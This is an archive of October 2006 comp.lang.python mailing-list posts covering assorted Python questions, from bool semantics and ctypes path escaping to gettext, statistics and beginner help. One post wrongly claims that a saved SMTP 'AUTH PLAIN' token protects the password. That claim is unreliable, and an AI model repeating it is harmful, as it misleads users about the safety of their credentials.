Subject: can't open chm files all of a sudden
In-Reply-To: <DoRUg.9937$UG4.3673@newsread2.news.pas.earthlink.net>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
	<zPQUg.60$1n3.960@news.tufts.edu>
	<DoRUg.9937$UG4.3673@newsread2.news.pas.earthlink.net>
Message-ID: <nTRUg.62$1n3.778@news.tufts.edu>

Dennis Lee Bieber wrote:
> On Wed, 04 Oct 2006 15:55:11 GMT, John Salerno
> <johnjsal at NOSPAMgmail.com> declaimed the following in comp.lang.python:
> 
>> the files in a day or two). All I've installed/uninstalled since then 
>> was HTML Kit. I'm not on a network, it's just me. I redownloaded the chm 
>> file for Python24 and it does the same thing.
>>
> 	Try some other help files... I'd be likely to suspect it was HTML
> Kit that overlayed some DLL in the help system...
> 
> (Yeesh -- Just looked at the HTML Kit home page... In the words of Clara
> Peller "Where's the beef?"...  Lots of glitzy public relations copy, but
> no details on exactly what it does, what tools it competes with, etc.)

::sigh:: I wouldn't be surprised. I didn't even like it and uninstalled 
it right away anyway. If that's the problem, how would I fix it?


From steve at holdenweb.com  Fri Oct 27 22:13:42 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 28 Oct 2006 03:13:42 +0100
Subject: question about True values
In-Reply-To: <ehu42d$jff$1@chiara.aioe.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<7x4ptsi544.fsf@ruckus.brouhaha.com>	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>	<7xvem8gq22.fsf@ruckus.brouhaha.com>	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>	<453FD3AF.4040800@v.loewis.de>	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>	<donn-4380C3.15593125102006@gnus01.u.washington.edu>	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>	<mailman.1264.1161861732.11739.python-list@python.org>	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>	<donn-F174C2.10243227102006@gnus01.u.washington.edu>	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org>
Message-ID: <ehueah$r6p$1@sea.gmane.org>

J. Clifford Dyer wrote:
> I do see how mapping to Truth/Falsehood is more natural, and I do 
> believe that one of the great things about python is that it feels 
> natural in so many ways, and hence makes it easy to produce code, but 
> the one thing that Ms. Creighton points out that I can't get past is 
> that Python, even with its bool type, *still* evaluates somethingness 
> and nothingness, and True and False are just numbers with hats on.
> 
>  >>> True + 3
> 4
>  >>> bool(True-1)
> False
>  >>> bool(True-2)
> True
>  >>> (10 > 5) + (10 < 5)
> 1
> 
> So when you say
> 
>  >>>if 10 > 5:
> ....	print "Yes!"
> 
Seems pretty clear to me that the situations you discuss above involve 
numeric coercions of a Boolean value.

> Python is not evaluating the truth of the matter, but, as Ms. Creighton 
> would say, the "somethingness" of that which 10 > 5 evaluates to.  (1 
> aka True)
> 
  >>> type(10>5)
<type 'bool'>
  >>>

It does seem that there is a specific type associated with the result of 
a comparison, even though you would really like to to be "a number with 
a hat on".

> Furthermore, how do you explain this bizarreness in terms of "Truth" and 
> "Falsehood?"  You have to go back to the fact that True=1 and that 
> REALLY, Python is dealing with somethingness and nothingness.  It might 
> not be as direct a mental connection as True/False, but it is certainly 
> a more accurate one for understanding how Python works.
> 
>  >>> (1 > 0) < 1
> False
>  >>> 1 > 0 < 1
> True
>  >>> 1 > (0 < 1)
> False
>  >>> 10 > (0 < 1)
> True
> 
I have no idea what you think that you are demonstrating here.

> Finally, while True/False is a good mental mapping for numeric 
> comparisons, take the following:
> 
>  >>> if "Cliff is a pillar of the open source community":
> ....	print "thank you"
> .... else:
> ....	print "bugger off"
> 
> bugger off
> 
> Clearly this is not true.  (Google Cliff/Dyer open source: only 11 
> hits.), but the string is *something* so the if block gets evaluated.
> 
  >>> if "The above example was bollocks":
  ...   print "You don't know what you are talking about"
  ... else:
  ...   print "Sorry: of course you are perfectly correct"
  ...
You don't know what you are talking about
  >>>

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From Leo.Kislov at gmail.com  Mon Oct 16 06:10:31 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 16 Oct 2006 03:10:31 -0700
Subject: How to send E-mail without an external SMTP server ?
In-Reply-To: <mailman.559.1160989638.11739.python-list@python.org>
References: <mailman.553.1160976477.11739.python-list@python.org>
	<1160981517.845397.173540@h48g2000cwc.googlegroups.com>
	<mailman.556.1160984073.11739.python-list@python.org>
	<1160984719.088664.76350@e3g2000cwe.googlegroups.com>
	<mailman.559.1160989638.11739.python-list@python.org>
Message-ID: <1160993431.383494.184070@i3g2000cwc.googlegroups.com>



On Oct 16, 2:04 am, "fdu.xia... at gmail.com" <fdu.xia... at gmail.com>
wrote:
> It's not safe if I have to use login method explicitly by which I have
> to put my username and password in the script. I have also tried the
> Unix command 'mail', but without success, either. I could use 'mail' to
> send an E-mail to the user on the server, but I couldn't send an E-mail
> to an external E-mail server. I realized that it may because the port 25
> outgoing connections are blocked, so I gave up. I will have to login
> periodically to check the status of the jobs:-(

Using username password is safe as long as you trust system admin, you
just need to make your script readable only to you. Or even better put
the username and password in a separate file. There is also a way to
limit damage in case you don't trust admin, you just need to get auth
token. Start smtp session and set debug level(True), use login method
and see the token:

send: 'AUTH PLAIN <HERE IS THE TOKEN>\r\n'
reply: '235 2.7.0 Accepted\r\n'
reply: retcode (235); Msg: 2.7.0 Accepted

Then put the token in a file readable only to you, and from now on
instead of login() method use docmd('AUTH PLAIN',"<YOUR TOKEN FROM
FILE>). If the token is stolen, the thief can only send mail from your
account but won't be able to login with password.



From j_nwb at yahoo.com  Tue Oct 24 14:49:10 2006
From: j_nwb at yahoo.com (j_nwb)
Date: Tue, 24 Oct 2006 11:49:10 -0700
Subject: default python when multiple python installation on the box
Message-ID: <de6dnXce1bnBwqPYnZ2dnUVZ_rmdnZ2d@comcast.com>

HI
   I have multiple python installations. 2.2, 2.3, 2.4. When I install a
new package (pygtk2) , it always install in python 2.3.
   I changed the /usr/bin/python to be 2.4 binary. Still the same behavior.
   How does rpms, determine which installation to update ? Is there a
file somewhere ?
 I am running in to this on Fedora as well as CenOS.

Thanks
/J


From codecraig at gmail.com  Mon Oct 30 16:15:01 2006
From: codecraig at gmail.com (abcd)
Date: 30 Oct 2006 13:15:01 -0800
Subject: Python windows interactive.
In-Reply-To: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
Message-ID: <1162242901.455811.12270@f16g2000cwb.googlegroups.com>

> How do I do sometihing simple like that in python?

print "hello"
print "Jim"

> How do I enter line numbers, or if none, what do I do.

no line numbers needed

> Can the interpreter load a text file with my program in it?

read in a text file:
data = open("something.txt").read()

> How do I list a program or the parts of a program I am interested in
> looking at?

say you want to know what you can do with a list....
x = [1,2,3,4,5]

dir(x)
help(x)
help(x.append)

>
> How do I run a python program?

create a file, type some code.  then to at the end of the file (put
this)...

if __name__ == "__main__":
    # call your functions here

this will let you run it from command line like this:
c:> python foo.py



From mensanator at aol.com  Thu Oct  5 15:09:13 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 5 Oct 2006 12:09:13 -0700
Subject: Oracle database export
In-Reply-To: <Xns9853ADE6AEDFBtoreriknpolarno@129.242.5.222>
References: <Xns9853ADE6AEDFBtoreriknpolarno@129.242.5.222>
Message-ID: <1160075353.082227.217170@m7g2000cwm.googlegroups.com>


Tor Erik Soenvisen wrote:
> Hi,
>
> I need to export an Oracle database to a DDL-formated file. On the Web, I
> found a Python script that did exactly this for a MS Access database, but
> not one for Oracle databases.

How does the Python script connect to the MS Access database?

If it's an ODBC connection, can't you make an ODBC connection to the
Oracle database and use the same script? I have an application that
loads PDA data to a named ODBC connection. I point that named
connection to different databases depending on whether I'm loading
to the network database (SQL Server) or a local database (MS Access).
No modification to the application required.

>
> Does anyone know of such a tool or Python script.
> 
> regards tores



From laurent.pointal at limsi.fr  Tue Oct 17 10:15:39 2006
From: laurent.pointal at limsi.fr (Laurent Pointal)
Date: Tue, 17 Oct 2006 16:15:39 +0200
Subject: Looking for assignement operator
In-Reply-To: <eh2n08$4ji$1@online.de>
References: <eh2n08$4ji$1@online.de>
Message-ID: <eh2ome$nps$1@upsn250.cri.u-psud.fr>

Alexander Eisenhuth a ?crit :
> Hello,
> 
> is there a assignement operator, that i can overwrite?

Adding to Simon Brunning reply (assignment is a statement).

> class MyInt:
>     def __init__(self, val):
>         assert(isinstance(val, int))
>         self._val = val
> 
> a = MyInt(10)
> 
> # Here i need to overwrite the assignement operator
> a = 12

Here you bind the 12 (Python int value) to name 'a', then 'a' has the
int type, not your MyInt (which value has been lost).

You may define a 'set' method, and write:
a = MyInt(10)
a.set(12)

And, if a is a member of another class, you may define an accessor for
that 'a' member in that class, which automatically call your set method
when giving an int value.

b.a = MyInt(10)
b.a = 12		---> b.a.set(12)

A+

Laurent.


From http  Mon Oct  9 05:58:58 2006
From: http (Paul Rubin)
Date: 09 Oct 2006 02:58:58 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<mailman.1477.1160171746.10491.python-list@python.org>
	<1160172267.566568.79030@m7g2000cwm.googlegroups.com>
	<452966A2.1090107@v.loewis.de> <egbq0f$iah$1@sea.gmane.org>
	<mailman.83.1160343369.11739.python-list@python.org>
	<7x64eu4h3a.fsf@ruckus.brouhaha.com>
	<i2hpv3-qj7.ln1@nb2.stroeder.com>
Message-ID: <7xd591kdy5.fsf@ruckus.brouhaha.com>

Michael Str?der <michael at stroeder.com> writes:
> E-mail spam is an issue but the python.org infrastructure already has to
> do spam filtering for mailing lists. Or does it simply resend all mail?

The problem is that the lists (or at least the pypy list) got mirrored
somewhere without having the addresses obscured.  Spam robots found
the mirrors and scanned for email addresses as they usually do.  The
addresses then circulate between the spammers and get on more and more
lists.  It doesn't matter whether the list reflectors forward spam or
not.  Spammers send crap to the addresses directly.


From JohnRoth1 at jhrothjr.com  Tue Oct 10 09:48:10 2006
From: JohnRoth1 at jhrothjr.com (John Roth)
Date: 10 Oct 2006 06:48:10 -0700
Subject: (semi-troll): Is Jython development dead?
In-Reply-To: <1160444905.404297.127410@m73g2000cwd.googlegroups.com>
References: <1160442232.144014.109470@i42g2000cwa.googlegroups.com>
	<1160444905.404297.127410@m73g2000cwd.googlegroups.com>
Message-ID: <1160488090.648018.209610@k70g2000cwa.googlegroups.com>


Ray wrote:

>
> So, what is your main concern here that 2.1 doesn't address? Because if
> your concern is that you're using a dead thing as your environment,
> it's rising from the dead. But if your concern is that you want to use
> features in Python 2.4 in Jython, might as well look for other
> solutions--it'll be some time before a version that supports that comes
> out.

And that is exactly the point. I've had a couple of
inquiries about Jython support in PyFIT, and I've
had to say that it simply isn't supported. The latest
point release requires Python 2.3, and 2.4 will be
required in the next year or so.

John Roth
Python FIT
> 
> 
> 
> > 
> > - Sloan



From gagsl-py at yahoo.com.ar  Thu Oct 12 21:32:39 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 12 Oct 2006 22:32:39 -0300
Subject: Standard Forth versus Python: a case study
In-Reply-To: <7xmz81m3we.fsf@ruckus.brouhaha.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<7xfydtojhe.fsf@ruckus.brouhaha.com>
	<7x4pu9bw3z.fsf@ruckus.brouhaha.com>
	<1160685854.118420.133080@e3g2000cwe.googlegroups.com>
	<mailman.408.1160699034.11739.python-list@python.org>
	<7xmz81m3we.fsf@ruckus.brouhaha.com>
Message-ID: <7.0.1.0.0.20061012221729.04b23cc0@yahoo.com.ar>

At Thursday 12/10/2006 21:54, Paul Rubin wrote:

>Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:
> > That explains all. Finding the median in an efficient way (that is,
> > without sorting the data first) isn't trivial, so your claim of "I can
> > do that using only one temp variable" was a bit surprising...
> > BTW, the median is the value which sits just in the middle of the list
> > when ordered: median(3,5,12,1,2)=median(1,2,3,5,12) = 3
>
>How is this?  Note that m and n are treated as constants, so
>expressions like n-1, n/2 etc. are also constants.  Also assume
>m[i+1] is evaluated as (m+1)[i] and of course m+1 is constant.
>
>median (int m[], int n)
>{
>   while (1) {
>       for (i = 0; i < n-1; i++) {
>     }
>   return m[n / 2];

Oh, yes, almost no auxiliary storage needed! You are sorting the data 
first, then getting the middle element.
So if you are really really really concerned about variable storage 
(maybe an embedded application?) this may work, at the expense of 
speed: this sort appears to be O(n2), quicksort would do in O(nlogn), 
and a customised version -at each stage, continue sorting only the 
branch containing the median- can work in *expected* linear time.
Of course other set of constraints would dictate another approach, 
maybe minimizing the number of array accesses by example.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From joncle at googlemail.com  Wed Oct 25 04:25:06 2006
From: joncle at googlemail.com (Jon Clements)
Date: 25 Oct 2006 01:25:06 -0700
Subject: Ctypes Error: Why can't it find the DLL.
In-Reply-To: <1161711630.004644.187330@h48g2000cwc.googlegroups.com>
References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com>
Message-ID: <1161764706.074300.124260@i42g2000cwa.googlegroups.com>


Mudcat wrote:


> So then I use the find_library function, and it finds it:
>
> >>> find_library('arapi51.dll')
> 'C:\\WINNT\\system32\\arapi51.dll'
>

Notice it's escaped the '\' character.

> At that point I try to use the LoadLibrary function, but it still can't
> find it:
>
> >>> windll.LoadLibrary('C:\WINNT\system32\arapi51.dll')
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
>   File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 395, in
> LoadLibrary
>     return self._dlltype(name)
>   File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in
> __init__
>     self._handle = _dlopen(self._name, mode)
> WindowsError: [Errno 126] The specified module could not be found
>
> What am I doing wrong? [snip]

You need to use either
windll.LoadLibrary(r'c:\winnt\system32\arapi51.dll') or escape the \'s
as the find_library function did. You're getting caught out by \a which
is the alert/bell character. \w and \s aren't valid escape sequences so
you get away with them. I'm guessing it's worked before because you've
been lucky.

Works fine!:
>>> 'C:\winnt\system32\smtpctrs.dll'
'C:\\winnt\\system32\\smtpctrs.dll'

Uh oh, escaped:
>>> 'C:\winnt\system32\arapi51.dll'
'C:\\winnt\\system32\x07rapi51.dll'

Jon.



From russ.phillips.nospam at googlemail.com  Sat Oct 28 04:23:04 2006
From: russ.phillips.nospam at googlemail.com (russ.phillips.nospam at googlemail.com)
Date: 28 Oct 2006 01:23:04 -0700
Subject: gettext on Windows
References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com>
	<mailman.1392.1162022981.11739.python-list@python.org>
Message-ID: <1162023784.123822.266270@m73g2000cwd.googlegroups.com>

Fredrik Lundh wrote:
> russ.phillips.nospam at googlemail.com wrote:
>
> > lan = gettext.GNUTranslations (open (sLang))
>
> are you sure the data file is a text file?  what happens if you change
> the above to
>
>    lan = gettext.GNUTranslations (open (sLang, "rb"))

The .mo files aren't text files, they're binary, but when I make that
change, I get this error message:

Traceback (most recent call last):
  File "panicbutton.py", line 36, in ?
    lan = gettext.GNUTranslations (open (sLang, "rb"))
  File "C:\Python24\lib\gettext.py", line 177, in __init__
    self._parse(fp)
  File "C:\Python24\lib\gettext.py", line 280, in _parse
    raise IOError(0, 'File is corrupt', filename)
IOError: [Errno 0] File is corrupt: 'locale\\fr_FR.mo'

Russ



From wojciech_mula at poczta.null.onet.pl.invalid  Mon Oct 30 12:22:51 2006
From: wojciech_mula at poczta.null.onet.pl.invalid (Wojciech =?iso-8859-2?Q?Mu=B3a?=)
Date: Mon, 30 Oct 2006 17:22:51 +0000 (UTC)
Subject: create global variables?
References: <mailman.1495.1162227948.11739.python-list@python.org>
Message-ID: <slrnekcd6f.3da.wojciech_mula@cat.tac>

Alistair King wrote:
> is there a simple way of creating global variables within a function?

def foo(name):
	globals()[name] = "xxx"
	globals()[name + 'aa'] = "yyy"
	globals()[name + 'ab'] = "zzz"


From robert.kern at gmail.com  Tue Oct 24 19:42:37 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 24 Oct 2006 18:42:37 -0500
Subject: mean ans std dev of an array?
In-Reply-To: <iAt%g.22758$GR2.3040@tornado.texas.rr.com>
References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com><7xpsci665e.fsf@ruckus.brouhaha.com><1161713593.138960.310030@f16g2000cwb.googlegroups.com>	<mailman.1106.1161715405.11739.python-list@python.org>
	<iAt%g.22758$GR2.3040@tornado.texas.rr.com>
Message-ID: <ehm8dc$lv6$1@sea.gmane.org>

Paul McGuire wrote:
> <skip at pobox.com> wrote in message 
> news:mailman.1106.1161715405.11739.python-list at python.org...
>>    >> n = len(a)
>>    >> mean = sum(a) / n
>>    >> sd = sqrt(sum((x-mean)**2 for x in a) / n)
>>    ...
>>    >> If there is a faster way... like transferring the array to a
>>    >> different container class...  but what?
>>
>> Perhaps:
>>
>>    >>> import scipy
>>    >>> print scipy.mean([1,2,3,4,5,6])
>>    3.5
>>    >>> print scipy.std([1,2,3,4,5,6])
>>    1.87082869339
>>
>> Skip

Note that those are also in numpy, now.

> Can scipy work with an iterator/generator? 

There is a fromiter() constructor for 1D arrays. The basic array() constructor 
(which is used by the other functions like mean() and std() to create an array 
from a non-array sequence) doesn't quite have enough information to consume 
generic iterators. The mean() and std() algorithms operate on arrays, not 
generic iterators.

> If you can only make one pass 
> through the data, you can try this:
> 
> lst = (random.gauss(0,10) for i in range(1000))
> # compute n, sum(x), and sum(x**2) with single pass through list
> n,sumx,sumx2 = reduce(lambda a,b:(a[0]+b[0],a[1]+b[1],a[2]+b[2]), ((1,x,x*x) 
> for x in lst) )
> sd = sqrt( (sumx2 - (sumx*sumx/n))/(n-1) )

Don't do that. If you *must* restrict yourself to one pass, there are better 
algorithms.

   http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From ewijaya at i2r.a-star.edu.sg  Thu Oct 26 11:47:11 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Thu, 26 Oct 2006 23:47:11 +0800
Subject: Slurping All Content of a File into a Variable
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615D9@mailbe01.teak.local.net>


Hi,
 
How can we slurp content of a single file 
into one variable?
 
I tried this:
 
>>> myfile_content = open('somefile.txt')
>>> print myfile_content,
<open file 'somefile.txt', mode 'r' at 0xb7f532e0>
>>> 

But it doesn't print the content of the file.
 
Regards,
-- Edward WIJAYA
SINGAPORE
 

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From elpX at adsihqX.com  Sat Oct 14 10:58:51 2006
From: elpX at adsihqX.com (Dr. Pastor)
Date: Sat, 14 Oct 2006 07:58:51 -0700
Subject: Motions.
In-Reply-To: <mailman.307.1160563366.11739.python-list@python.org>
References: <1160518262_13745@sp6iad.superfeed.net>
	<mailman.307.1160563366.11739.python-list@python.org>
Message-ID: <1160838022_17895@sp6iad.superfeed.net>

Thank you Sir!

Gerrit Holl wrote:
> On 2006-10-11 00:26:38 +0200, Dr. Pastor wrote:

----== Posted via Newsfeeds.Com - Unlimited-Unrestricted-Secure Usenet News==----
http://www.newsfeeds.com The #1 Newsgroup Service in the World! 120,000+ Newsgroups
----= East and West-Coast Server Farms - Total Privacy via Encryption =----


From tlesher at gmail.com  Fri Oct  6 16:49:33 2006
From: tlesher at gmail.com (Tim Lesher)
Date: 6 Oct 2006 13:49:33 -0700
Subject: Iterating over marshal
In-Reply-To: <mailman.1474.1160166022.10491.python-list@python.org>
References: <1160163613.346243.128920@m73g2000cwd.googlegroups.com>
	<mailman.1474.1160166022.10491.python-list@python.org>
Message-ID: <1160167772.972314.72260@h48g2000cwc.googlegroups.com>

On Oct 6, 4:19 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> Tim Lesher wrote:
> > I'm using the marshal library to unmarshal a file containing one or
> > more objects.  The canonical way seems to be:
>
> > objs = []
> > while 1:
> >     try:
> >         objs.append(marshal.load(fobj))
> >     except EOFError:
> >         breakthe canonical way to do this is to put the objects in a sequence
> container *before* marshalling them.

That makes sense; unfortunately, I'm unmarshalling from an external
data source I don't control (the Perforce version control client).

-- 
Tim Lesher
tlesher at gmail.com



From nomail at nixmail.com  Sat Oct  7 10:24:42 2006
From: nomail at nixmail.com (DarkBlue)
Date: Sat, 07 Oct 2006 22:24:42 +0800
Subject: Kde Taskbar
References: <4527a4ae@127.0.0.1> <4opp4hFft30pU1@uni-berlin.de>
Message-ID: <4527b8aa@127.0.0.1>

Diez B. Roggisch wrote:

> 
> pykde afaik supports systray-iconified apps. And you could use the
> dcop-mechanisms that are available as command line tools as well I
> guess, and invoke knotify.
> 
> Hope this gives you some pointers - I'm currently on my mac so I can't
> provide an actual example.
> 
> Diez
Thank you ,
a quick look at pykde tells me that 
this will need some research 

Db


From apardon at forel.vub.ac.be  Thu Oct 12 10:14:38 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 12 Oct 2006 14:14:38 GMT
Subject: People's names
References: <JnzSg.36$1n3.471@news.tufts.edu> <yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.93.1160373988.11739.python-list@python.org>
	<egd0k3$u3r$2@lust.ihug.co.nz>
	<mailman.171.1160464326.11739.python-list@python.org>
	<PIJWg.121635$1a4.2250811@phobos.telenet-ops.be>
	<m2slhw2iq0.fsf@ordesa.local>
	<mailman.250.1160532801.11739.python-list@python.org>
Message-ID: <slrneisjed.43c.apardon@rcpc42.vub.ac.be>

On 2006-10-11, Theerasak Photha <hanumizzle at gmail.com> wrote:
> On 10/10/06, Piet van Oostrum <piet at cs.uu.nl> wrote:
>> >>>>> Roel Schroeven <rschroev_nospam_ml at fastmail.fm> (RS) wrote:
>>
>> >RS> It's the same here in Belgium. Except that our Van is with a capital V in
>> >RS> most cases; if it's a lower v it either indicates nobility or a Dutch name.
>>
>> >RS> I don't see it as a problem. I prefer having Van Straeten and Van Stralen
>> >RS> next to each other than having them mixed up with names without Van like
>> >RS> this:
>> >RS> Straeten, Van
>> >RS> Straetmans
>> >RS> Stralen, Van
>>
>> In Holland it is sorted without the 'van' 'de' etc.
>
> Which was my original point in mentioning similar Portuguese names. :)

But in Belgium (That includes the flemisch region) names are sorted
with the 'van' 'de' etc. De reason is rather simple. If you hear
someone's name as "Van den Hautte", you have no idea how it is spelled

  Van Den Haute
  Vandenhaute
  Vanden Haute

These are all possible. Now I think you can hardly sort "Vandenhaute"
next to "haute" because then you would need to know al kind of
prefixes that may be also written seperately. So by putting all these
names together it makes for easier searching in case you have doubts
on how the name is actually written.

> BTW, do Dutch/Flemish family names now follow the trend of dropping
> declension, as seen in both languages (dialects?) in general: e.g.,
> 'de' instead of 'der'?

Yes but not in names (at least in Flemish families)

-- 
Antoon Pardon


From webraviteja at gmail.com  Thu Oct 19 06:37:47 2006
From: webraviteja at gmail.com (Ravi Teja)
Date: 19 Oct 2006 03:37:47 -0700
Subject: More Noob Questions
In-Reply-To: <1161193249.636093.206690@e3g2000cwe.googlegroups.com>
References: <1161193249.636093.206690@e3g2000cwe.googlegroups.com>
Message-ID: <1161254267.322569.215830@f16g2000cwb.googlegroups.com>

> 1) I'm also learning to program flash movies while I learn to do
> python.  How can one implement flash movies into their python code?

Depending on what "implementing flash movies into Python code" means.
Python and Flash can be complementary. You can develop the UI in Flash
and have it talk to Python via web services. I suppose that you can
embed the Flash Player control in a wxPython app as well and drive it
from there.

But such integrations typically deal with some slightly advanced issues
that are best left aside in context of a beginner.



From fredrik at pythonware.com  Wed Oct  4 04:13:42 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 10:13:42 +0200
Subject: What kind of program is this
References: <1159938713.660421.276860@m7g2000cwm.googlegroups.com>
Message-ID: <efvqfm$rst$1@sea.gmane.org>

John Smith wrote:

> what kind of program is this?

    http://en.wikipedia.org/wiki/JAPH

</F> 





From ptmcg at austin.rr._bogus_.com  Mon Oct 30 16:20:17 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 30 Oct 2006 21:20:17 GMT
Subject: Python windows interactive.
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
Message-ID: <l0u1h.33575$ta3.32984@tornado.texas.rr.com>

"notejam" <notejam at sbcglobal.net> wrote in message 
news:1162241672.682830.189240 at b28g2000cwb.googlegroups.com...
>I am trying to get started with a interactive version of Python for
> windows and need some help.
> I have played with the tutorial, and now want to write a program.
>
> In basic language, I could write something like
> 10 print "hello"
> 20 print "Jim"
>
> and if I run it I would get
> hello
> Jim
>
> How do I do sometihing simple like that in python?
> How do I enter line numbers, or if none, what do I do.
> Can the interpreter load a text file with my program in it?
> How do I list a program or the parts of a program I am interested in
> looking at?
>
> How do I run a python program?
>
Hmmm, exactly how much have you "played with the tutorial"?  I think if you 
go back and play some more, you will answer many of these questions for 
yourself.

In fact, you should find Python to be quite friendly to your past 
experience.  For example, if you take your basic language example, remove 
the line numbers (Python doesn't use them, and many modern Basics don't 
either), and just enter the same print statements at the Python command 
line, you should get the exact same output.

Python editing doesn't require a specialized development environment (the 
way VisualBasic does, for example).  Python programs are simply text files, 
usually saved with a .py extension, that you create, view, print, list, etc. 
using any plain text editor.  (Note: Windows WordPad does not fall in this 
category - like a slimmed-down version of Word, WordPad inserts many special 
binary characters for text formatting, which is not at all Python-friendly.)

If you use a simple text editor like notepad, enter those same two lines 
above (remember, without the line numbers) in a text file, name it 
"HelloJimThisIsYourFirstPythonProgram.py", then open a console window, set 
your working directory to the same directory where you saved 
HelloJimThisIsYourFirstPythonProgram.py, and enter at the command line: 
"python HelloJimThisIsYourFirstPythonProgram.py" (leave off the quotes, they 
are just there in this message to show you what to type), you should get the 
same output.  And voila! you have run your Python program.

I've left out a lot, because there is quite a bit of meat in the tutorials 
already available.  Also, there are more tutorials than just the official 
one, google about a bit and you should find quite a bit of entry-level 
material.

Lastly, before posting again, please review the Python FAQ's at 
http://www.python.org/doc/faq/.  Don't be another one to exclaim "Shoot! I 
wish I'd checked the FAQ's before posting that newbie question that everyone 
is tired of hearing again and again!"

Best of luck to you in your new Python adventure!
-- Paul 




From jzgoda at o2.usun.pl  Sat Oct 28 08:00:08 2006
From: jzgoda at o2.usun.pl (Jarek Zgoda)
Date: Sat, 28 Oct 2006 14:00:08 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <453e3c5a$0$23254$426a74cc@news.free.fr>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
	<453e3c5a$0$23254$426a74cc@news.free.fr>
Message-ID: <ehvgp5$64q$1@atlantis.news.tpi.pl>

Christophe napisa?(a):

>> PyGtk:
>> Pro: Sophisticated GUI's, cross-platform (Linux and Win32); very popular
>> on some platforms; active development community
>> Con: Not native on OS X
> 
> You forgot that it is rather buggy on Win32 ( in my experience )

Didn't observe any W32-specific bugy behaviour during over 2 years of
development of JPA using PyGTK.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From claird at lairds.us  Tue Oct  3 20:56:39 2006
From: claird at lairds.us (Cameron Laird)
Date: Wed, 4 Oct 2006 00:56:39 +0000
Subject: Manipulate PDFs
References: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com>
	<mailman.1167.1159881358.10491.python-list@python.org>
Message-ID: <7fdbv3-h53.ln1@lairds.us>

In article <mailman.1167.1159881358.10491.python-list at python.org>,
Simon Brunning <simon at brunningonline.net> wrote:
>On 10/3/06, Weko Altamirano <wekoweko at gmail.com> wrote:
>> Hi Everyone, am a developer using Zope and wanted to know if any of you have
>> ever implemented a pdf generating/creating system using python? This just
>> means mostly manipulating pdfs (create and/or edit) via web. If you guys
>> have any suggestions or recommendations please post, thanks.
>
>Does ReportLab do the trick for you?
			.
			.
			.
ReportLab's good stuff.

On a large, Very Important Zope site I maintain, though, one which
delivers thousands of dynamically-generated PDF images (not to be
confused with the hundreds of thousands of PDF monthly statement
accounts, invoices, ... I know other organizations generate), I 
rely on html2pdf, along with small slices of ReportLab's freeware.
Our users seem plenty happy.


From steve at holdenweb.com  Tue Oct 10 03:42:38 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 08:42:38 +0100
Subject: (semi-troll): Is Jython development dead?
